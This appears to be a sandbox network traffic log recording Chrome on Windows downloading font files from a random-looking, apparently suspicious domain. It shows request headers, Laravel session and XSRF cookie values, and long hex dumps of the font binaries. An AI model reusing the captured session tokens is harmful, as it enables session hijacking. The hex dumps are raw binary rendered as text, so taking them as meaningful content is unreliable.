laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:01 UTC	630	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:01 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="yzDWvxmd4z6t78IC8k0DdMqr41" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tKDKlloahD9H%2FWU8RTZ2%2FO1Q5XbsEWo%2F%2FjGmtmc%2FfWlt5sruyoueQLUZHs%2Bp9JG%2ByeDlcTyPwIKWa4iOE%2FvQBTsdjSWI7RZQuerKtCnBxNYkOSFLUtFxOHBr8pEHyQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff1a7bd00fed-LAX
2024-04-24 06:22:01 UTC	739	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tRa$iheads36}hheat
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: f4 1a 6d a0 b7 e8 1d ca a7 02 da 41 45 b4 8b f6 d2 01 fa 90 4a e8 10 1d a6 06 6a e2 04 f6 b2 8f bb 71 26 5f c6 d7 f2 60 be 81 87 f0 50 be 91 87 f1 4d 3c 9c 6f e6 5b f8 56 1e c1 b7 f1 48 1e cb 53 78 3a cf e0 99 3c 8b 67 f3 1c 9e cb f3 78 3e 2f e0 85 bc 88 17 f3 12 5e ca cb 78 39 af e0 95 bc 8a 57 73 2e e7 f1 26 de ca 85 bc 93 8b 78 0f 17 13 f3 6a 55 4a a9 94 ae 42 d4 53 9d a7 1c 32 28 5f b5 d0 01 55 c7 d3 d5 51 9e a1 82 3c 87 e2 79 ae 6a e6 79 d8 e7 ab f3 bc 50 85 78 b1 3a c5 cb d0 b6 02 6d 2b b1 af 56 d5 fc 8a aa e5 35 68 5b 8b 7e 45 b8 57 4c dd e8 72 70 c0 07 1e f8 30 ea 19 2a 50 75 18 f9 24 4f 41 af e9 94 86 d1 b7 f1 4c 4a e1 59 e4 e5 d9 e4 e1 39 18 65 ae da 02 4c b5 c0 14 02 a6 20 2f 22 3f b0 6d e1 a5 94 08 8c 8d bc 1c bf 2b f0 cc 4a ec ab c8 00 e6 a3 Data Ascii: mAEJjq&_`PM<o[VHSx:<gx>/^x9Ws.&xjUJBS2(_UQ<yjyPx:m+V5h[~EWLrp0*Pu$OALJY9eL /"?m+J
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: b5 3f 83 6e c2 97 42 2f 35 de 74 d3 5e f4 39 ff 11 7a a1 e7 db 00 aa 6a 1d 19 56 5a 57 86 48 dc 00 97 0c cb df 06 44 32 47 d0 be cf d6 47 e1 40 dc f0 9f e8 bc ef e6 e4 11 eb e1 13 bf 8f ec f1 0c fa c6 ab 90 aa 27 03 73 ec a2 5a 00 90 2e ee 04 71 d6 a8 af e9 82 6f 6a bb 7a 16 de dd 07 09 27 ab 4f 54 b9 aa 55 cd aa 5a fd 45 2d 01 d5 75 ea b0 3a a3 3e a3 38 d5 a4 ce 83 de 7c d0 df 97 52 70 75 94 92 c0 9f d8 51 f9 02 a8 d4 bf 0d 42 5d 85 3a 41 99 ea 04 a8 1d 40 1e 50 59 8d a6 7b cc dc 9e fc 2d 41 9c 5d 4e 7e e1 ae 81 59 7d 09 c9 c5 66 eb 02 ac d5 ea 24 f2 9c 78 a1 06 76 01 ed 20 75 4a f3 4a 73 10 96 d3 c5 99 53 50 7e d2 e5 2c 1e 67 be 18 f1 f2 a0 3a 07 1a 6b d4 11 70 26 01 60 40 f6 04 e9 96 a1 d1 83 3c d3 03 30 a4 9e 21 58 2e b9 e8 f5 4a d5 14 1b 2a b7 a9 57 Data Ascii: ?nB/5t^9zjVZWHD2GG@'sZ.qojz'OTUZE-u:>8\|RpuQB]:A@PY{-A]N~Y}f$xv uJJsSP~,g:kp&`@<0!X.J*W
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 4b bd fe 06 46 7b 14 75 5a 7d ac de 52 27 f5 1a 9c 39 86 da a5 f6 aa 77 20 cb 62 68 0f 34 06 da 9b 6d cb 57 8e 1f aa b3 6a 87 ab 1a 2d 95 b7 c3 cd ea 20 ec e4 20 e4 58 62 d2 a1 73 2d f1 c6 01 8c ad b5 af 0c 39 56 10 ed a5 c0 9e 8a b3 24 f8 b3 0c f5 67 3c dd 1c d1 67 f8 61 5f 6f 80 8a a5 f0 7d 7e b1 da 06 f4 6d c1 dd 15 e4 87 9e 7f a2 df d2 6b 3f 0a 7c 59 82 eb 55 1a 8e e3 93 ba 16 47 b5 11 ef f0 ef 6d 8b 2b d5 ea 7e 3c b9 4e 7f c7 25 1e 2d e8 5a 17 09 60 fe 86 9a a4 72 25 2f e8 02 2b db 4d 37 e8 55 27 f5 38 65 ab 0f 1d 9a da 48 4c 4b 16 fe e6 a4 da 6f 71 df a0 ae 62 b9 65 ed bf c4 41 e5 d1 d0 46 b6 ae f5 10 75 5c 1d 06 cf fc a6 15 68 2a ac 9c da bd 26 1f f6 56 49 be c2 33 cf f4 db d8 52 bd 9e a6 69 8f 20 71 d3 03 9d 50 07 1c 1f 60 98 39 7c c4 bc 3e 14 3d Data Ascii: KF{uZ}R'9w bh4mWj- Xbs-9V$g<ga_o}~mk?\|YUGm+~<N%-Z`r%/+M7U'8eHLKoqbeAFu\h*&VI3Ri qP`9\|>=
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 73 8d d1 3d 8d ab 6f bb 08 29 71 c1 88 90 33 d7 58 35 64 95 ce b7 a1 21 51 be 30 47 2d b2 0e b5 9e 1d 15 6d 0b c8 96 da fa a0 ca c3 08 65 c8 4a c2 22 b7 ca 90 fe 55 ad b1 5d 3d d7 69 66 d6 59 bb ac 92 9b df 5d b4 59 47 5b a0 d6 a0 36 4b 32 2b 43 f5 17 b3 12 b6 f2 f1 06 e4 bd 46 ab 26 29 ed db 72 c8 f9 8e 27 7c d5 c0 f4 66 7f a5 04 5d b9 a5 ae 07 5d 54 ee 76 a8 3c aa ab 4e c9 d2 8a a4 2a d8 25 df fe 6b 5b 14 2a 5b 9a db fb 4b 97 75 75 4a 65 c4 dc dd 6b 7f c9 2f b5 48 99 53 57 d5 44 fb 7b 1c d4 1d 75 f0 0b a9 e2 ef b2 91 c5 37 80 af c9 ad ef 99 d5 fd 12 21 b2 25 f3 31 35 2c 45 de c5 d4 c9 93 a6 8e a5 09 bf 33 44 e7 bc f2 05 6a 36 20 00 d0 35 76 26 ee 24 8a a7 e9 2f f4 18 f0 41 b5 c0 14 14 2d 0d e8 15 76 e9 d5 5a d5 d6 45 58 cb 6c b1 fc 66 8b 95 ed 35 c3 fb Data Ascii: s=o)q3X5d!Q0G-meJ"U]=ifY]YG[6K2+CF&)r'\|f]]Tv<N%k[[KuuJek/HSWD{u7!%15,E3Dj6 5v&$/A-vZEXlf5
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 78 10 65 f1 60 1e 49 c9 7c 3b 8f a6 4b f8 4e be 87 02 3c 86 c7 51 26 a2 09 ec 14 f1 e4 e7 d4 83 a7 f0 14 1a c8 53 79 2a f5 e6 a7 f8 29 4a e2 5f f0 2f 70 fe 34 3f 8d f3 5f f2 7f a2 cf 34 9e 46 5d f9 57 fc 2b 4a e3 67 f8 19 9c ff 9a 7f 8d f3 e9 3c 9d ae e1 19 3c 83 46 f1 4c 9e 49 f7 f0 2c 9e 45 63 78 36 cf a6 2b 79 0e cf a1 7e 88 59 cf 92 0f 51 eb 79 1c e7 f2 5c 1a cd f3 78 1e 0d e0 f9 3c 9f 46 f0 0b fc 5f d4 8d 17 f0 02 1a cc 0b 79 21 dd c0 8b 78 11 dd c6 8b 79 31 8d 44 a4 5b 42 b7 f0 52 5e 4a b7 f2 4b fc 12 8d 47 c4 5b 46 fd 79 39 2f a7 6b 79 05 af a0 eb 78 25 af a4 eb 11 07 57 d1 55 bc 9a 57 eb ff 3b c4 b9 74 35 ff 96 5f a6 cb 10 19 5f a1 3b 78 0d af a1 9b 74 84 a4 e1 3a 42 d2 5d 88 90 9b e8 76 44 c9 cd 74 b3 8e 93 94 a1 63 23 28 dc c1 3b 70 dc c9 3b 69 Data Ascii: xe`I\|;KN<Q&Sy*)J_/p4?_4F]W+Jg<<FLI,Ecx6+y~YQy\x<F_y!xy1D[BR^JKG[Fy9/kyx%WUW;t5__;xt:B]vDtc#(;p;i
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: a6 8b 60 a8 e9 52 99 2e 4d 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc 49 ff 01 7f be 7f 07 f8 73 fc ab fc cb fc 63 fd f1 fe f8 a3 95 4a 9e aa 38 27 ec 40 58 be 75 35 c5 8a 4c 9b 39 e5 af cd 65 0b 47 f9 98 13 7c ad 34 70 06 da 4c 76 52 9c f9 65 db 65 ab 93 e6 2c 71 32 9d 2c 67 8d 93 e3 6c 74 f2 9c 5d ce 1e 27 df 29 70 0e db de 61 e7 b8 f3 31 e7 1d 4e de 3f ea 6c 27 e7 cf 22 c4 ba f4 ae 36 6a b1 f6 e8 4d ad 52 8a 66 6b 9e 36 e9 39 4d d2 34 8d 53 82 86 6a 87 b6 6a a7 66 6a be 5e d5 58 bd a6 17 35 45 dd f5 ba c6 eb 0d 4d d4 0c 2d 51 86 d2 94 ae 09 ca d4 7d 5a a0 85 4a d4 7e a5 aa 9f b2 b4 59 3d d8 a7 95 4a 52 9c 16 69 8c 66 11 Data Ascii: `R.MM/X:Q+T"#Pc~2c?uIscJ8'@Xu5L9eG\|4pLvRee,q2,glt]')pa1N?l'"6jMRfk69M4Sjjfj^X5EM-Q}ZJ~Y=JRif
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 98 41 40 54 be 1d b1 2c 41 1c 79 97 ab 31 c7 11 da 60 1f 5c 11 1e e6 af 33 1a c2 62 c2 63 42 82 74 a1 fe a1 29 51 1a e8 94 ce 90 11 c1 e8 fd 55 ea 80 00 bd bf 37 63 34 e0 8c 2c 4b 66 9c d1 a8 95 de 18 b4 e7 f1 5f 17 9e 58 61 2b 29 ef 5e 51 bc fe dc 90 fd 36 83 e6 2f 1c 5a 74 1b c7 77 0f ae e9 11 3e e5 77 66 b6 ed ae 69 bf 2f 33 fd cc 8a 96 23 83 05 6c 79 fd bc 92 4e e1 a4 fd d1 ae ae a6 7e 61 39 a5 77 d3 e8 6d 7e 35 7f 04 19 50 ba 2d 25 32 c2 db 0b 46 11 97 21 86 c1 cd 80 5e 40 39 c1 b9 99 03 fa 04 a2 0a 8c c2 42 fc 7c 3d dc 90 01 1b 78 b5 7f 12 1f 1d 17 c7 58 32 fd b2 62 cc 19 5c a0 3a 2e ce 18 ed 0d 38 47 30 e6 8c 2c 6b a0 8a 63 b9 87 47 ce 75 b5 9f c5 e8 e8 9f 71 7a dd 97 c9 2f 3f da fe f8 e2 bc fc c1 63 6d f7 5f ce f9 a2 56 b8 ee df f1 32 f6 7e fe 04 Data Ascii: A@T,Ay1`\3bcBt)QU7c4,Kf_Xa+)^Q6/Ztw>wfi/3#lyN~a9wm~5P-%2F!^@9B\|=xX2b\:.8G0,kcGuqz/?cm_V2~
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: c0 5d 18 50 87 c9 64 24 c2 03 28 ac 50 96 bb ef f8 1e 3c 28 7c 24 bc f6 92 80 47 fa cf 6c 9c 21 68 97 ad 5d b7 f4 2f ec 5f 77 ff 34 c9 7e 80 a9 b7 bf c0 ef cc ed 7b 44 f8 b2 bd ae ae 4d 78 98 cc b3 e4 d1 db 5c 3a d0 38 89 e8 df b0 50 15 cf 61 16 24 07 cb 32 cd 40 e4 00 51 7c 28 fa 37 2a 22 38 d0 d3 1d 25 e1 24 5e 11 20 11 ac 99 62 10 13 67 c9 2c 04 e9 1a 20 0a 5b 15 a1 23 19 7d 66 da c0 4b 7b 9a 7c 47 dc 32 2b ba b2 57 ae 78 7f 14 bd 3f 75 e5 33 ed 4f 7e 91 fd 45 74 5f 75 75 ef fb c2 fb b3 b6 bc e4 9f 37 70 64 81 6d 5a 47 51 64 73 49 7f cf c0 b9 4b 73 0f f4 e4 1c 7f b8 70 76 55 fd f4 fe ee be 33 17 9a 1e 1e 28 00 7c fd 81 76 bb a9 1d 15 6a 0b 22 04 a2 3a d8 9b e8 04 51 be d2 09 88 41 be 13 6d 85 df 15 66 70 2b 84 19 02 f7 e4 67 9f dd 6d 83 fa 0f 41 7f df Data Ascii: ]Pd$(P<(\|$Gl!h]/_w4~{DMx\:8Pa$2@Q\|(7*"8%$^ bg, [#}fK{\|G2+Wx?u3O~Et_uu7pdmZGQdsIKspvU3(\|vj":QAmfp+gmA
2024-04-24 06:22:01 UTC	474	IN	Data Raw: 81 5a 94 91 4d 4a 08 0f 03 db c2 c7 5d 85 d2 70 9a c3 c8 aa a2 8d 93 28 3e 95 5a 45 fe 3b 50 6b d7 92 2d d1 31 ee 01 1e f7 fd 6c 1b 51 87 4b ea eb 87 6c 21 42 79 43 c0 d4 a8 cc 34 85 6a 30 de 96 9e 0c 5c fd 20 68 c8 d6 71 1a f2 85 27 6e 36 04 64 45 65 36 a5 c8 54 24 fc da 02 f3 0d a4 20 f2 45 91 28 cb 66 06 9e 52 63 06 ac 77 62 1a 49 f2 56 e3 10 c0 f0 d3 12 cb 30 24 48 1b e9 17 a9 05 db d3 8d 58 e0 8e 3e b8 d6 68 31 63 c5 0f 27 83 fe d3 f1 be f8 92 25 63 de 38 ee 13 1e 72 f4 c8 99 c5 97 ec 3f 12 bd 72 61 f7 25 61 c3 ff 0f f0 03 ed c7 df 47 7d c1 40 82 9f 1b f0 21 08 78 ce 1d bc 51 90 65 2a de 5d 25 79 a5 6a 4c f5 55 60 80 de 5f e7 27 69 2b ad af a7 3a 1c 3c 18 bd c1 62 d6 9b f5 46 d1 45 25 28 ea 40 6b 5e 22 ae ea e0 20 71 56 e1 2f d3 6f 7f 90 df f9 e9 a7 Data Ascii: ZMJ]p(>ZE;Pk-1lQKl!ByC4j0\ hq'n6dEe6T$ E(fRcwbIV0$HX>h1c'%c8r?ra%aG}@!xQe*]%yjLU`_'i+:<bFE%(@k^" qV/o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49778	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:01 UTC	1415	OUT	GET /78OF5bqYVtW234tiXjpuv60 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:01 UTC	616	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:01 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="78OF5bqYVtW234tiXjpuv60" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vR8F2mKLJ3hCGiRTF9zIQzsQmELu33JYtn81DjZPe3SJuMXRU4pH12KT3unIxO7q6ZUQkYeDssA2ZWlm0yojD3ARjt%2B2F546JEvghXBk%2BxyocUQGAtkykxWtH0FIvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff1a78c669d1-LAX
2024-04-24 06:22:01 UTC	753	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: e4 35 29 e5 97 60 00 e0 77 26 a7 ec 8c 51 bd 04 a5 aa 2d c9 13 20 11 06 0d 39 e4 58 74 9e 2f 53 51 3f 14 73 2b 75 0c 39 ee 1f 5c b1 68 d4 6c b0 47 cb 23 fc 2a a7 d5 23 40 83 46 d2 88 c9 66 c5 31 84 66 01 9d 3d 60 1f f0 e3 f1 70 ca 0b 01 a0 c2 94 3d 63 f0 be d9 92 66 3d 9c eb 70 20 34 42 79 0e 75 ff 7a 27 cb 0f ee 24 3b 04 73 b6 a4 dd 16 db 7a d0 f6 e3 e3 12 58 be c5 6e 36 79 2d e0 06 b4 05 18 a1 7f b4 fd cf 8a 12 3c cd 09 17 b1 bb 1d be 58 9e 81 7f 85 04 cd 7e 2b 6a 8a 7a bb 6a b2 f8 ff ee f7 db c0 37 f0 50 44 93 b8 4f 10 d5 77 d1 fa 39 9d 90 38 5d 13 21 7e 43 26 98 18 b4 cd d0 fb 13 2a 4c 43 45 d3 dc 4e 66 7e af 4e 9f 65 4a fa 69 58 6e 58 2a 43 81 26 e6 f5 bf 8b 74 b6 55 83 fc 4e 72 d2 40 91 b6 6c 5a b0 80 a7 03 20 d9 8f 58 b9 a2 c8 93 7a cd 73 01 6e b9 Data Ascii: 5)`w&Q- 9Xt/SQ?s+u9\hlG##@Ff1f=`p=cf=p 4Byuz'$;szXn6y-<X~+jzj7PDOw98]!~C&LCENf~NeJiXnX*C&tUNr@lZ Xzsn
2024-04-24 06:22:01 UTC	121	IN	Data Raw: 0e 88 ec 30 d0 66 50 36 51 17 59 8c ca 45 0b 23 fa 81 55 bc 59 5f 55 fe a0 40 a1 20 35 57 9b d4 3c b9 b3 29 ed a7 16 d3 13 45 0b c5 4c 25 f1 30 23 97 d9 4e bd 28 ab 1d d0 c2 14 6f c9 61 f9 56 40 1e 2b aa 69 29 e1 5a 15 f9 c1 0e 10 e8 40 d0 3a 0c 29 8c a9 39 12 e8 b0 01 e8 f6 ee 52 ab d2 f0 06 94 a4 e3 89 30 00 08 57 44 ed a2 83 bc a0 e0 07 54 5b 4d 54 db a3 29 Data Ascii: 0fP6QYE#UY_U@ 5W<)EL%0#N(oaV@+i)Z@:)9R0WDT[MT)
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 51 e2 43 bf 56 c9 5a 96 e8 1f 92 c0 20 b0 78 90 51 a2 3c 19 06 e5 c4 18 b4 51 95 16 6c ec cd a6 0b e6 b6 d1 db 00 56 0c 1e a0 cb a0 80 03 02 ba eb e2 92 60 fa 62 ea 87 59 4d 58 29 3a 30 36 0c 02 ce fb 12 0a 67 57 cf 6d 7c f0 81 96 93 88 02 ba ef 92 55 dd 8c f9 fa 69 f2 71 0c 59 37 73 08 39 5d ce e5 85 bb 59 16 bd 18 b4 30 75 01 f3 09 a6 26 0f af 55 73 55 f9 8b 2d cb f9 49 0a 03 cd 24 bd 7e 42 53 3e 5d 0d aa 27 b6 92 9f d7 bb 88 8f 9e 3a 7a 2a 60 af 29 ef 91 e0 ba 38 c1 3d 64 3d f1 f9 cd fb 48 5f 6c df 7f f2 fb 13 7f be b8 65 b4 cd f0 97 49 b7 1f a2 fc 55 82 cd cc f1 00 cf 0a 6e c7 04 f5 ec 0d 14 68 01 e0 67 53 02 fb 6a cf 9f 4c eb 98 ed ba 5c 00 11 07 7c d5 66 27 f5 da 06 f6 88 bb 57 0e 64 ea d4 a0 2c 0a a0 40 b9 91 c0 0c c1 98 9f 59 a1 3f 60 49 18 92 f4 Data Ascii: QCVZ xQ<QlV`bYMX):06gWm\|UiqY7s9]Y0u&UsU-I$~BS>]':z*`)8=d=H_leIUnhgSjL\\|f'Wd,@Y?`I
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 5f e2 e0 bf 67 17 38 6d 72 f7 c0 87 b9 c7 2b b1 0e 4b b1 bd 52 1c c4 78 e7 87 af ff f6 09 93 1e 60 d4 16 c7 bd 7b 90 2e ac c4 27 6b 93 0d 57 9e 7c 28 0f 5c f9 c6 1c d3 b8 97 5b 0f 28 3e 06 4b ae 4a 42 c2 63 6d 65 b3 87 f4 02 73 e9 ec 31 94 dd 4d 35 43 9e 82 ef 1a 19 ca 1a de 11 5a 06 1e 1c 66 50 e3 92 33 b2 78 9f 06 fa de d0 77 b9 e5 f7 d4 e5 a7 d9 89 be 67 54 d4 43 9f 16 46 78 01 9d 5a 25 56 9b 9b 12 66 d1 34 f4 6d 06 5a c3 ea 6d 21 e3 f9 d6 6a f2 fe f2 44 3f 2e 84 9d 08 b9 41 9c 3d 6a fc f8 fb ea 22 b0 51 f0 bc 3d fb bd 69 e3 6d 47 cb 4d fa 75 1a 91 3a ba 5b aa 71 27 55 3e 30 05 1c 6e 41 84 5f e9 8c aa 3f 39 95 af 00 3e b0 b1 26 d3 27 cb 6a e6 ee cb 10 b0 59 ed 97 34 1b 25 64 6b d4 9d 1f 27 07 82 15 51 8b ac 7b 89 14 76 ac e6 90 25 61 11 96 6d 3c b7 52 Data Ascii: _g8mr+KRx`{.'kW\|(\[(>KJBcmes1M5CZfP3xwgTCFxZ%Vf4mZm!jD?.A=j"Q=imGMu:[q'U>0nA_?9>&'jY4%dk'Q{v%am<R
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 46 0a d3 3b 4f 93 e9 9c 42 34 fe 5a 4c 23 c9 da 61 da ca b0 2e 42 bf ba 4e 43 ee 7b a5 b6 cd 10 a9 9e d6 76 c2 da 8c 75 0b 16 88 a2 6a f6 21 ff 46 59 15 b1 d8 a4 ae 93 c7 8f 9e 79 f0 b8 5e 0d 87 be b3 43 8a 3b 87 21 5b ce a4 5d 92 b7 f9 a1 38 f5 96 d0 8b c3 0e d8 3d be 24 30 f0 11 92 c4 5c c9 d4 f5 38 62 51 c4 09 ab 9c ee 74 c2 1d 9d 3f 80 6f 2b ee d5 47 d6 5b 60 91 6e 70 0d bf 4e 8d bc 0a 1b c8 14 3f ef 1a 5e 6b 4e 57 6e bc f8 e3 57 dd fe 86 3d 55 42 d6 84 13 d8 93 67 b8 ba 6a d9 bc 66 e2 30 34 aa ef a1 63 f9 08 9b e7 0a 86 e6 bc 29 5b 95 e4 cc 64 d7 e0 78 36 d2 18 e3 63 ab 63 2e 67 65 9c 59 db 92 4e ad df aa 49 3f 64 f2 b5 96 ae 64 f2 21 d5 61 46 c9 be e1 d6 3e 59 74 f6 0d 33 53 e0 7e 2b 74 07 a9 6a df 02 af 4d 1e ba eb 16 6e e4 d8 7f 55 77 16 f3 b7 5c Data Ascii: F;OB4ZL#a.BNC{vuj!FYy^C;![]8=$0\8bQt?o+G[`npN?^kNWnW=UBgjf04c)[dx6cc.geYNI?dd!aF>Yt3S~+tjMnUw\
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 52 8a 37 07 16 7b c0 bd 19 bc 8f 5b ba 06 00 c5 83 23 de f6 d2 01 41 b8 02 01 50 23 69 24 5c 1c ef 34 bf 27 04 01 13 5c 88 a0 4a 93 f8 12 79 bb a9 68 e7 2f 4d 81 05 1e 94 a0 46 8b ee 74 70 0e c0 c0 06 bf 4a a1 4d 9b de 6d 3c 06 38 10 40 08 15 1a b4 ec f1 81 bb 5f 18 f6 cc 77 10 ea 8d 43 df 85 0f fd 36 f8 e2 04 f8 bf 37 77 9c 81 9f e8 12 4f 3f 5c fa 4a 33 6a 34 14 cd b7 3d 06 0f be ed b1 78 f5 6d 48 f1 a5 03 80 ce a8 2b 04 13 ec b4 9d 11 01 12 48 d7 08 0e cf 61 03 24 cf e1 00 a4 ca 71 01 d2 e0 43 db 30 0e ea db d9 9e 84 5f b4 46 57 5c 89 7f 08 30 13 93 8f be 6e 08 08 ba d7 85 d3 78 03 14 78 50 df 2a 3a 1c 05 e1 40 df 21 bd 88 e2 05 e8 c6 02 66 4c 64 89 06 81 2a 02 6d 5c f1 35 08 08 9c ee 39 08 3d 4b 09 db da bb 1d 19 d7 cf c6 84 00 ea f4 48 58 ba 85 be 0c Data Ascii: R7{[#AP#i$\4'\Jyh/MFtpJMm<8@_wC67wO?\J3j4=xmH+Ha$qC0_FW\0nxxP:@!fLdm\59=KHX
